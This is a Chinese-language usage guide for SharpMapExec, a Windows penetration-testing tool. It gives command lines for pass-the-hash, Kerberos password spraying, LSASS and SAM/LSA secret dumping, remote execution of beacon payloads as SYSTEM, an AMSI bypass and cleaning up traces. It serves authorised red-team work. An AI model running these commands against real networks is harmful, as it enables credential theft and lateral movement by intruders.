SharpMapExec:针对网络渗透测试高级瑞士Knife
字数 1461 2025-08-15 21:33:26
SharpMapExec 高级网络渗透测试工具教学文档
工具概述
SharpMapExec 是一款基于 CrackMapExec 的高级网络渗透测试工具,可以视为 CrackMapExec 的优化版本。它是一个多功能渗透测试平台,专为 Windows 操作系统设计,特别适合内部威胁模拟攻防场景。
核心功能
- 权限扫描:识别管理员访问权限
- 安全配置检测:发现错误的安全配置
- 数据过滤:在远程计算机上执行最少必要代码,将敏感数据下载到本地解析
- 认证支持:Kerberos 和 NTLM 认证
- Kerberos:创建令牌并使用 Rubeus 导入或请求凭证
- NTLM:创建线程并使用 SharpKatz 运行 SetThreadToken
安装与要求
- 仅支持 Windows 操作系统
- 需要从 GitHub 获取最新版本
使用语法
基本命令结构
SharpMapExec.exe [认证方式] [协议] [参数] [模块]
认证方式选项
ntlm: 使用 NTLM 认证kerberos: 使用 Kerberos 认证kerbspray: 域密码喷射tgtdeleg: 为当前用户创建 TGT
协议模块详解
SMB 模块
基本语法:
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
可用模块:
/m:shares: 扫描可访问的 SMB 共享
WinRM 模块
基本语法:
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
可用模块:
-
执行命令:
/m:exec /a:whoami: 使用 Invoke-Command 执行命令/m:exec /a:C:\beacon.exe /system: 以 System 身份执行命令
-
进程转储:
/m:comsvcs: 转储 Lsass 进程/m:secrets: 转储并解析 Sam、Lsa 和 System Dpapi blobs
-
程序集执行:
/m:assembly /p:Rubeus.exe /a:dump: 在内存中执行本地 C# 程序集/m:assembly /p:beacon.exe /system: 以 System 身份在内存中执行本地 C# 程序集
-
文件操作:
/m:download /path:C:\file /destination:file: 从主机下载文件
域模块
密码喷射:
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
TGT 委托:
SharpMapExec.exe tgtdeleg
高级功能
-
JEA 节点扫描:
- 分析非默认命令的源代码
- 检查节点是否未配置为 no-language 模式
-
AMSI 绕过:
- 内置 AMSI 绕过功能
-
JEA 语言中断:
- 可用于代码执行
-
PsRemote 访问扫描:
- 识别易受攻击的 JEA 节点
使用示例
-
Kerberos 密码喷射并扫描本地管理员访问:
SharpMapExec.exe kerbspray /users:users.txt /passwords:passwords.txt /domain:domain.local /dc:dc.domain.local -
使用 NT 哈希扫描本地管理员密码复用:
SharpMapExec.exe ntlm smb /user:admin /ntlm:ABCDEF0123456789ABCDEF0123456789 /domain:domain.local /computername:target -
大批量转储 Lsass 进程:
SharpMapExec.exe kerberos winrm /user:admin /password:P@ssw0rd /domain:domain.local /computername:target /m:comsvcs -
扫描 JEA 节点:
SharpMapExec.exe kerberos winrm /user:admin /password:P@ssw0rd /domain:domain.local /computername:jea-server /m:exec /a:whoami
Kerberos 环境配置
在某些 Kerberos 场景下可能需要:
-
同步 DC 时钟:
net time \\DC01.hackit.local /set -
设置 DNS:
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
注意事项
- 工具使用需遵守当地法律法规
- 仅限授权测试使用
- 敏感操作可能会触发安全警报
- 确保有合法授权后再对目标系统进行测试
项目地址
GitHub: SharpMapExec 项目链接
最佳实践
- 测试前先在小范围环境验证
- 使用最小必要权限原则
- 记录所有操作步骤和结果
- 测试完成后清理痕迹
- 生成详细的测试报告
故障排除
-
认证失败:
- 检查凭证是否正确
- 验证网络连通性
- 检查时间同步(Kerberos)
-
命令执行失败:
- 检查目标服务是否运行
- 验证权限是否足够
- 检查防火墙设置
-
工具运行错误:
- 检查依赖项是否安装
- 验证操作系统兼容性
- 查看日志获取详细信息